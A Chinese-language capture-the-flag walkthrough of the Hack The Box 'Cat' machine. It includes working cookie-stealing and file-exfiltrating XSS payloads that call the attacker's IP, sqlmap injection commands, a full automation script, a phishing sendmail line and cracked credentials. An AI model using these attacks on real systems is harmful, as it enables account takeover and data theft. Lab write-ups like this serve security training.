HTB-Cat

2025-03-02 23 0

靶机信息

HTB-Cat插图

靶机链接:https://app.hackthebox.com/machines/Cat

靶机IP:10.10.11.53

渗透过程

初始侦察

fscan端口信息收集

┌──(kali㉿kali)-[~/rednotes]
└─$ ./fscan -h 10.10.11.53 -nobr -nopoc

___                             _    
/ _ \     ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_| \__,_|\___|_|\_\  
                  fscan version: 1.8.4
start infoscan
10.10.11.53:22 open
10.10.11.53:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.53       code:301 len:300   title:301 Moved Permanently 跳转url: http://cat.htb/
已完成 2/2
[*] 扫描结束,耗时: 3.565526482s

-nobr跳过sql,ftp,ssh等的密码爆破 -nopoc跳过web poc扫描

nmap详细信息扫描

┌──(kali㉿kali)-[~/rednotes]
└─$ nmap -sTVC -O -p22,80 10.10.11.53
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-03 15:01 CST
Nmap scan report for 10.10.11.53 (10.10.11.53)
Host is up (0.33s latency).

PORT   STATE SERVICE VERSION
22/tcp open ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open http   Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

把cat.htb写入到/etc/hosts

TCP80端口web渗透

目录爆破

┌──(kali㉿kali)-[~/rednotes/cat]
└─$ dirb http://cat.htb

---- Scanning URL: http://cat.htb/ ----
+ http://cat.htb/.git/HEAD (CODE:200|SIZE:23)

Git泄露

https://github.com/lijiejie/GitHack

python3 GitHack.py http://cat.htb/.git/

tree看一下结构

┌──(kali㉿kali)-[~/rednotes/LinkVortex/GitHack/cat.htb]
└─$ tree .
.
├── accept_cat.php
├── admin.php
├── config.php
├── contest.php
├── css
│   └── styles.css
├── delete_cat.php
├── img
│   ├── cat1.jpg
│   ├── cat2.png
│   └── cat3.webp
├── img_winners
│   ├── cat1.jpg
│   ├── cat2.png
│   └── cat3.webp
├── index.php
├── join.php
├── logout.php
├── view_cat.php
├── vote.php
├── winners
│   └── cat_report_20240831_173129.php
└── winners.php

5 directories, 19 files

在admin.php发现管理员axel 看一下view_cat.php文件

// Check if the user is logged in                                                      
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {              
header("Location: /join.php");                                                    
exit();                                                                            
}  

判断用户是否为axel即管理员用户

<div class="container">
<h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
<img src="https://www.freebuf.com/articles/web/<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
<div class="cat-info">
    <strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
    <strong>Age:</strong> <?php echo $cat['age']; ?><br>
    <strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
    <strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
    <strong>Owner:</strong> <?php echo $cat['username']; ?><br>
    <strong>Created At:</strong> <?php echo $cat['created_at']; ?>
</div>
</div

再看后面,其中<strong>Owner:</strong> <?php echo $cat['username']; ?><br>会显示用户名,即用户名可控 小tips:修改成<strong>Owner:</strong> <?php echo htmlspecialchars($cat['username']); ?><br>即可 contest.php是一个提交界面

$stmt->bindParam(':cat_name', $cat_name, PDO::PARAM_STR);
$stmt->bindParam(':age', $age, PDO::PARAM_INT);
$stmt->bindParam(':birthdate', $birthdate, PDO::PARAM_STR);
$stmt->bindParam(':weight', $weight, PDO::PARAM_STR);
$stmt->bindParam(':photo_path', $target_file, PDO::PARAM_STR);
$stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);

思路:注册一个xss_payload,然后登录进去,在/contest.php,随便填写一下表单,因为axel用户会查看,所以可以获取axel用户的cookie

系统立足点

xss获取cookie

注册一个用户,账户使用:

<script>document.location='http://10.10.16.14:8888/?c='+document.cookie;</script>

使用python开启一个http服务

python3 -m http.server 8888

然后登录进去,随便填写,上传一个照片

HTB-Cat插图1

收到cookie

HTB-Cat插图2

sql注入&sqlmap

accept_cat.php

<?php
include 'config.php';
session_start();
if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST['catId']) && isset($_POST['catName'])) {
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);

$stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
$stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
$stmt_delete->execute();

echo "The cat has been accepted and added successfully.";
} else {
echo "Error: Cat ID or Cat Name not provided.";
}
} else {
header("Location: /");
exit();
}
} else {
echo "Access denied.";
}
?>

catName没做处理,直接拼接到了sql语句中,sqlmap直接跑,发现存在注入,最后汇总payload

┌──(kali㉿kali)-[~/rednotes/cat]   
└─$ sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=mal" --cookie="PHPSESSID=cege257iom0cqihqnnp0ileg8l" --batch --dbms SQLite -p catName --level 5 --risk 3 -D
SQLite_masterdb -T users --dump --threads=10
user_id email password username
1 axel2017@gmail.com d1bbba3670feb9435c9841e46e60ee2f axel
2 rosamendoza485@gmail.com ac369922d560f17d6eeb8b2c7dec498c rosa
3 robertcervantes2000@gmail.com 42846631708f69c00ec0c0a8aa4a92ad robert

有人问:这样操作太吃技术了,有没有简单又便捷的方式获取hash 有的,有的!

xss&sqlmap一把梭脚本

import time
import requests
import re
import random
import subprocess
import os
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import logging

# Configure debug logging
logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
DEBUG = 0 # Set to 1 to enable debugging, 0 to disable

def pr_debug(message):
if DEBUG:
logging.debug(message)

# Configuration
TARGET_HOST = "http://cat.htb"
ATTACKER_IP = "10.10.xx.xx" # Change this
ATTACKER_SERVER = f"http://{ATTACKER_IP}"
SQLMAP_PATH = "/usr/bin/sqlmap"

# XSS Payload to steal admin's PHPSESSID
XSS_PAYLOAD = f'<script>fetch("{ATTACKER_SERVER}/?c="+encodeURIComponent(document.cookie));</script>'

USERNAME = XSS_PAYLOAD
PASSWORD = "axura"
pr_debug(f"Username for exploitation:\n{USERNAME}")

# Global variable to store the leaked session
admin_session_id = None

class RequestHandler(BaseHTTPRequestHandler):
"""HTTP Server to Capture PHPSESSID"""
def do_GET(self):
"""Capture and log incoming requests"""
global admin_session_id

pr_debug("Received request from HTTP server:")
pr_debug(self.path)
parsed_path = urllib.parse.urlparse(self.path)
query_params = urllib.parse.parse_qs(parsed_path.query)
pr_debug(f"Query Parameters: {query_params}")

if "c" in query_params:
session_id = query_params["c"][0]
if "PHPSESSID=" in session_id:
session_id = session_id.replace("PHPSESSID=", "")
pr_debug(f"[+] Captured admin PHPSESSID: {session_id}")

# Store the session in the global variable instead of a file
admin_session_id = session_id

# Send a response
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"OK")

def start_http_server():
"""Starts an HTTP server in a background thread to capture admin cookies."""
server_address = ("0.0.0.0", 80) # Change from 80 to 8080 to avoid permission issues
httpd = HTTPServer(server_address, RequestHandler)
print("[*] Listening on port 8080 for leaked PHPSESSID...")
thread = threading.Thread(target=httpd.serve_forever, daemon=True)
thread.start()

def generate_random_email():
"""Generate a unique email for registration to bypass duplicate checks."""
return f"sqli{random.randint(1000, 9999)}@axura.com"

def register_new_account():
"""Registers a new account with XSS payload in the username."""
email = generate_random_email()
encoded_email = urllib.parse.quote(email)
encoded_username = urllib.parse.quote(USERNAME)
register_url = f"{TARGET_HOST}/join.php?username={encoded_username}&email={encoded_email}&password={PASSWORD}&ampregisterForm=Register"
print(f"[*] Registering new account with email: {email}")
response = requests.get(register_url)

if response.status_code == 200:
print("[+] Registration successful")
return email
else:
print("[-] Registration failed")
return None

def login_and_get_cookie():
"""Logs in with the injected XSS username and returns PHPSESSID."""
session = requests.Session()
encoded_username = urllib.parse.quote(USERNAME)
login_url = f"{TARGET_HOST}/join.php?loginUsername={encoded_username}&loginPassword={PASSWORD}&loginForm=Login"

print("[*] Logging in with injected username...")
response = session.get(login_url, allow_redirects=True)

session_id = session.cookies.get("PHPSESSID")

if session_id:
print(f"[+] Logged in successfully. Captured PHPSESSID: {session_id}")
return session, session_id
else:
print("[-] Login failed. No PHPSESSID found.")
return None, None

def submit_cat_entry(session):
"""Submits a cat entry using the valid PHPSESSID."""
contest_url = f"{TARGET_HOST}/contest.php"
headers = {"Referer": f"{TARGET_HOST}/contest.php", "User-Agent": "Mozilla/5.0"}
files = {"cat_photo": ("test.jpg", b"GIF89a aaa\naxura", "image/jpeg")}
data = {"cat_name": "tom", "age": "1", "birthdate": "2077-12-31", "weight": "1"}

print(f"[*] Submitting cat entry...")
response = session.post(contest_url, headers=headers, files=files, data=data, allow_redirects=False)

if response.status_code == 200 and "Cat has been successfully sent for inspection." in response.text:
print("[+] Cat entry submitted successfully!")
return True
else:
print("[-] Submission failed!")
return False

def wait_for_admin_session():
"""Waits until the admin session ID is leaked via XSS and captured."""
global admin_session_id

print("[*] Waiting for admin session to be leaked...")
for attempt in range(60):
time.sleep(5)

if admin_session_id:
print(f"[+] Captured admin PHPSESSID: {admin_session_id}")
return admin_session_id

print(f"[*] Checking again... (Attempt {attempt+1}/60)")

print("[-] Failed to retrieve admin session after max retries.")
return None

def validate_session(session_id):
"""Checks if the admin session is still valid."""
url = f"{TARGET_HOST}/accept_cat.php"
headers = {"Cookie": f"PHPSESSID={session_id}"}
response = requests.get(url, headers=headers)
if "Access denied." in response.text:
print("[-] Session has expired.")
return False
print("[+] Session is still valid.")
return True

def run_sqlmap(admin_session):
"""Runs SQLMap using the admin PHPSESSID."""
print(f"[*] Running SQLMap with Admin PHPSESSID: {admin_session}")
sqlmap_command = [
SQLMAP_PATH,
"-u", f"{TARGET_HOST}/accept_cat.php",
"--data", "catId=2077&catName=Tom",
"--cookie", f"PHPSESSID={admin_session}",
"-p", "catName",
"--dbms=SQLite",
"--technique=B",
"-Tusers",
"--dump",
"--no-cast",
"--threads=5",
"--batch",
"--level=5",
"--risk=3",
]
subprocess.run(sqlmap_command)

def main():
print("[*] Initializing attack...")
start_http_server()

while True:
print("\n[*] Starting a new execution cycle...")

email = register_new_account()
if not email:
continue

session, session_id = login_and_get_cookie()
if not session:
continue

if not submit_cat_entry(session):
continue

admin_session = wait_for_admin_session()
if not admin_session:
continue

while validate_session(admin_session):
run_sqlmap(admin_session)

print("[-] Admin session expired. Restarting entire process...")

if __name__ == "__main__":
main()

修改一下ATTACKER_IP为自己的IP,默认监听80端口

hash_crack

┌──(kali㉿kali)-[~/rednotes/cat]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 512/512 AVX512BW 16x3])
Warning: no OpenMP support for this hash type, consider --fork=6
Press 'q' or Ctrl-C to abort, almost any other key for status
soyunaprincesarosa (?)
1g 0:00:00:00 DONE (2025-02-03 22:10) 8.333g/s 30041Kp/s 30041Kc/s 30041KC/s sp060392wsxdr..soyunamalditaprinces
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

最终只有一组凭据rosa:soyunaprincesarosa

User_flag

ssh登录上去,rosa家目录下没有user.txt

rosa@cat:/home$ ls -liah
total 24K
131076 drwxr-xr-x 6 root root 4.0K Aug 30 23:19 .
2 drwxr-xr-x 19 root root 4.0K Aug 31 18:28 ..
172844 drwxr-x--- 5 axel axel 4.0K Jan 21 12:52 axel
139301 drwxr-x--- 3 git git 4.0K Jan 21 12:49 git
139313 drwxr-x--- 6 jobert jobert 4.0K Jan 21 12:49 jobert
139318 drwxr-x--- 6 rosa rosa 4.0K Feb 3 12:27 rosa

寻找其他用户的凭据

rosa@cat:/var$ grep -R axel ./* 2>/dev/null

暴力但好用,找到了axel的密码

HTB-Cat插图3

先试的axel和jobert,最后尝试grep了一下git,信息太多了,搞的虚拟机都卡了

HTB-Cat插图4

提权分析

在枚举的过程中发现一封邮件

From: rosa@cat.htb  
Date: Sat, 28 Sep 2024 04:51:49 GMT
Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects.
Please send an email to jobert@localhost with information about your Gitea repository.
Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly.
I will review the whole repository.
---
From: rosa@cat.htb
Date: Sat, 28 Sep 2024 05:05:28 GMT
Subject: Employee management
We are currently developing an employee management system.
Each sector administrator will be assigned a specific role,
while each employee will be able to consult their assigned tasks.
The project is still under development and is hosted in our private Gitea.
You can visit the repository at:
http://localhost:3000/administrator/Employee-management/
In addition, you can consult the README file,
highlighting updates and other important details, at:
http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md

借助ai翻译一下

HTB-Cat插图5

HTB-Cat插图6

发现的确有个3000端口

chisel端口转发

┌──(kali㉿kali)-[~/rednotes]
└─$ ./chisel server -p 12345 --reverse

axel@cat:/tmp$ ./chisel client 10.10.16.14:12345 R:3000:127.0.0.1:3000

访问127.0.0.1:3000发现是Gitea且版本为1.22.0 Google搜索找到了利用 https://www.exploit-db.com/exploits/52077

权限提升

Gitea 1.22.0 - Stored XSS(CVE-2024-6886)

HTB-Cat插图7

可以新建一个仓库,然后再描述字段插入xss语句 前面的邮件提到了http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md包含项目更新和其他重要细节,我们读取它试试 tips:README.md没读取成功,index.php读取到了且需要在仓库下新建一个空白文件

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php')  
.then(response => response.text())
.then(data => fetch('http://10.10.16.14/?response=' + encodeURIComponent(data)))
.catch(error => console.error('Error:', error));">XSS test</a>

因为这个触发需要点击,所以我们也要发一封邮件让jobert去点击

axel@cat:/tmp$ echo -e "Subject: test \n\nHello check my repo http://localhost:3000/axel/test" | sendmail jobert@localhost

同时开启本地监听

┌──(kali㉿kali)-[~/rednotes/LinkVortex/GitHack/cat.htb]
└─$ nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.16.14] from (UNKNOWN) [10.10.11.53] 34706
GET /?response=%3C%3Fphp%0A%24valid_username%20%3D%20%27admin%27%3B%0A%24valid_password%20%3D%20%27IKw75eR0MR7CMIxhH0%27%3B%0A%0Aif%20(!isset(%24_SERVER%5B%27PHP_AUTH_USER%27%5D)%20%7C%7C%20!isset(%24_SERVER%5B%27PHP_AUTH_PW%27%5D)%20%7C%7C%20%0A%20%20%20%20%24_SERVER%5B%27PHP_AUTH_USER%27%5D%20!%3D%20%24valid_username%20%7C%7C%20%24_SERVER%5B%27PHP_AUTH_PW%27%5D%20!%3D%20%24valid_password)%20%7B%0A%20%20%20%20%0A%20%20%20%20header(%27WWW-Authenticate%3A%20Basic%20realm%3D%22Employee%20Management%22%27)%3B%0A%20%20%20%20header(%27HTTP%2F1.0%20401%20Unauthorized%27)%3B%0A%20%20%20%20exit%3B%0A%7D%0A%0Aheader(%27Location%3A%20dashboard.php%27)%3B%0Aexit%3B%0A%3F%3E%0A%0A HTTP/1.1
Host: 10.10.16.14
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://localhost:3000
Connection: keep-alive
Priority: u=4

解码获得:

<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {

header('WWW-Authenticate: Basic realm="Employee Management"');
header('HTTP/1.0 401 Unauthorized');
exit;
}

header('Location: dashboard.php');
exit;
?>

应该是root的密码,ssh连接不上,直接su切换成root

HTB-Cat插图8


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

[Meachines] [Easy] Luanne Lua RCE+bozoHTTPd LFI+NetBSD-Dec+doas权限提升
[Meachines] [Easy] Toolbox PostgreSQLI-RCE+Docker逃逸boot2docker权限提升
[Meachines] [Easy] ServMon NVMS-LFI+NSCP(NSClient)权限提升+Chameleon反向shell+reg…
塔塔科技遭勒索攻击,1.4TB数据被泄露
GitHub官方展示如何利用Copilot进行日志安全分析
通过物理渗透测试获取内部网络访问权限:案例分析

发布评论